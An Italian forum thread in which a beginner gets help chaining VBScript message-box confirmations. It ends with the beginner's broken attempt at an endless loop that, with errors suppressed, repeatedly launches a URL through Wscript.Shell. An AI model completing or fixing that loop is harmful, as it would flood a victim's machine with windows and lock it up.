Visual Basic Script

[yellow]

Ciao a tutti..
Volevo fare in modo che data una risposta a una domanda si aprisse un'altra finestra che dava conferma, io ho scritto cosi, potete vedere se è giusto per favore?

dim a as vbYesNo
a=msgbox("Accetti?",vbQuestion + vbYesNo,)
if a=vbYes then
msgbox "Sicuro?"
else
msgbox "Ok se non vuoi.."
end if

[FRAgNCESCO]

dim a
a = msgbox("Accetti?",vbQuestion + vbYesNo)
if a = vbYes Then msgbox ("Sicuro?") else msgbox ("Ok se non vuoi..")

Testato su Internet Explorer

[yellow]

grazie mille FRAgNCESCO, se non ti chiedo troppo, come faccio a fare ad esempio se clicco Si su Sicuro a far apparire un'altra finestrella con scritto "Ma proprio sicuro sicuro?"

[FRAgNCESCO]

grazie mille FRAgNCESCO, se non ti chiedo troppo, come faccio a fare ad esempio se clicco Si su Sicuro a far apparire un'altra finestrella con scritto "Ma proprio sicuro sicuro?"

Codice Inizio---------->

dim a, b
a = msgbox("Accetti?",vbQuestion + vbYesNo)
if a = vbYes Then
b = msgbox ("Ma proprio sicuro sicuro?", vbQuestion + vbYesNo)
if b = vbYes then
msgbox ("Ok!")
else
msgbox ("Non sei sicuro rispondi nuovamente")
window.location.reload
end if
else
msgbox ("Ok se non vuoi..")
end if

<--- Fine
Spiegazione: Prima domanda se rispondi Si va alla seconda di conferma se si risponde Si ancora si procede, se rispondi No ricarica la pagina per rispondere nuovamente alla 1^ domanda. Se non vuoi questa ultima parte basta eliminare la parte di codice in grassetto.

Spero di averci azzeccato

Codice testato su Internet explorer

[yellow]

Grazie mille, ma cliccando NO su "Ma proprio sicuro sicuro?" e su OK quando dice "Non sei sicuro rispondi nuovamente" mi dice ERRORE: Necessario oggetto: 'window'
Ho provato a mettere gli apici 'window' ma cliccando su OK a "Non sei sicuro rispondi nuovamente" non mi riappare la prima domanda.


Comunque lo schema sarebbe questo vero?

dim a, b <----- NUMERO DOMANDE
a = msgbox("Accetti?",vbQuestion + vbYesNo) <-----PRIMA DOMANDA
if a = vbYes Then <-----SE LA RISPOSTA è POSITIVA ALLORA...Vedi prossima riga
b = msgbox ("Ma proprio sicuro sicuro?", vbQuestion + vbYesNo) <-----SE ALLA DOMANDA PRECEDENTE LA RISPOSTA è STATA POSITIVA (altra domanda prossima riga)
if b = vbYes then <-----SE LA RISPOSTA è POSITIVA ALLORA...Vedi prossima riga
msgbox ("Ok!") <-----MESSAGGIO FINALE
else <-----ALTRIMENTI (SE SI RISPONDE NEGATIVAMENTE ALLA SECONDA DOMANDA) Vedi prossima riga
msgbox ("Non sei sicuro rispondi nuovamente") <-----SE LA RISPOSTA ALLA SECONDA DOMANDA è NEGATIVA
'window'.location.reload <-----RIPORTA ALLA PRIMA DOMANDA
end if <----- FINE STRUTTURA PER LA PRIMA RISPOSTA (POSITIVA)
else <-----ALTRIMENTI (SE SI RISPONDE NEGATIVAMENTE ALLA PRIMA DOMANDA) Vedi prossima riga
msgbox ("Ok se non vuoi..") <----- MESSAGGIO IN CASO DI RISPOSTA NEGATIVA ALLA PRIMA DOMANDA
end if <----- FINE STRUTTURA PER LA SECONDA RISPOSTA (NEGATIVA)


Ultima domanda voglio ripetere un'operazione all'infinito e scrivo:

On Error resume Next
set wsh = CreateObject("Wscript.shell")
Do
Wsc.Run "http://www.0x010.isf.it", 3, false
Loop

ma non mi parte nè mi da errore, cosa devo fare??